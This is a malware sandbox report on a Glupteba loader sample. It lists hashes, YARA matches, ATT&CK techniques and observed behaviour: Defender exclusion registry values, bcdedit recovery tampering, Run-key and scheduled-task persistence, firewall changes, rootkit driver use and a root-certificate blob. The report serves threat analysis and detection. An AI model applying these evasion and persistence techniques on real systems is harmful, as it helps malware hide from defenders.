glupteba | 119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234

Analysis

max time kernel
298s
max time network
303s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
16/05/2024, 22:40

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General

Target

119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Size

4.1MB
MD5

40e0bb419e2a513ea5a313fa855a7fb1
SHA1

9db36e0b0258609a7126e4cfade72eaa0bc55241
SHA256

119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234
SHA512

83ab0ea0067bc06bd5f4be539858f96ca4f37f7f30166bfc5f9ea71b0d886f048b8f22eb2302da7f5491a9103116aee393c96e1a739db7792185a65b6370caff
SSDEEP

98304:XqpMRaJi3sEqIr6ilJJkay2XIp4ZT71i5GwG4N1PBcavz8a0:XqpMRJcE1nJkaVIp4ZT7zwBrzd0

Score

10^/10

glupteba discovery dropper evasion loader persistence ransomware rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 35 IoCs

resource	yara_rule
behavioral1/memory/2200-2-0x0000000004830000-0x000000000511B000-memory.dmp	family_glupteba
behavioral1/memory/2200-3-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral1/memory/2200-6-0x0000000004830000-0x000000000511B000-memory.dmp	family_glupteba
behavioral1/memory/2200-8-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral1/memory/2200-4-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2692-17-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2748-25-0x0000000140000000-0x00000001405E8000-memory.dmp	family_glupteba
behavioral1/memory/2488-102-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-143-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-147-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-155-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-157-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-159-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-161-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-163-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-165-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-167-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-169-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-171-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-173-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-175-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-177-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-179-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-183-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-185-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-187-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-189-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-191-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-193-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-195-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-197-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-199-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-201-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-203-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba
behavioral1/memory/2488-205-0x0000000000400000-0x0000000002B0C000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe

Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1584	bcdedit.exe
1828	bcdedit.exe
2112	bcdedit.exe
2380	bcdedit.exe
1876	bcdedit.exe
656	bcdedit.exe
1072	bcdedit.exe
2880	bcdedit.exe
2040	bcdedit.exe
2000	bcdedit.exe
1756	bcdedit.exe
1432	bcdedit.exe
976	bcdedit.exe
876	bcdedit.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2500	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Executes dropped EXE 7 IoCs

pid	Process
2488	csrss.exe
2748	patch.exe
1928	injector.exe
2240	dsefix.exe
2440	windefender.exe
1656	windefender.exe
2696	dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Loads dropped DLL 15 IoCs

pid	Process
2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
836	Process not Found
2748	patch.exe
2748	patch.exe
2748	patch.exe
2748	patch.exe
2748	patch.exe
2488	csrss.exe
2748	patch.exe
2748	patch.exe
2748	patch.exe
2488	csrss.exe
2488	csrss.exe
2488	csrss.exe

UPX packed file 18 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x003d00000000b213-146.dat	upx
behavioral1/memory/2440-148-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/memory/1656-151-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/memory/2440-153-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/memory/1656-154-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/memory/1656-160-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/memory/1656-162-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/files/0x0008000000004ed7-208.dat	upx
behavioral1/files/0x0008000000004ed7-210.dat	upx
behavioral1/files/0x0008000000004ed7-214.dat	upx
behavioral1/files/0x0008000000004ed7-213.dat	upx
behavioral1/memory/2488-215-0x000000002F440000-0x000000002F921000-memory.dmp	upx
behavioral1/memory/2696-217-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral1/files/0x0004000000005b52-225.dat	upx
behavioral1/memory/1520-228-0x0000000000C70000-0x000000000153D000-memory.dmp	upx
behavioral1/files/0x0004000000005b52-221.dat	upx
behavioral1/files/0x0004000000005b52-219.dat	upx
behavioral1/memory/2696-230-0x0000000000400000-0x00000000008E1000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMon driver. 1 IoCs

Roottkits write to WinMon to hide PIDs from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMon	csrss.exe

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
File created	C:\Windows\rss\csrss.exe	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20240516224029.cab	makecab.exe
File created	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2640	sc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2916	schtasks.exe
2156	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-281 = "Central Europe Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-41 = "E. South America Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-741 = "New Zealand Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-72 = "Newfoundland Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-592 = "Malay Peninsula Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-1022 = "Bangladesh Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-751 = "Tonga Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-132 = "US Eastern Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-391 = "Arab Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-112 = "Eastern Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-722 = "Central Pacific Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-401 = "Arabic Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-842 = "Argentina Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-162 = "Central Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-252 = "Dateline Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-571 = "China Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-331 = "E. Europe Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-232 = "Hawaiian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-551 = "North Asia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-12 = "Azores Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-22 = "Cape Verde Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-662 = "Cen. Australia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-105 = "Central Brazilian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-334 = "Jordan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-241 = "Samoa Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-352 = "FLE Standard Time"	windefender.exe

Modifies system certificate store 2 TTPs 11 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a32133981674284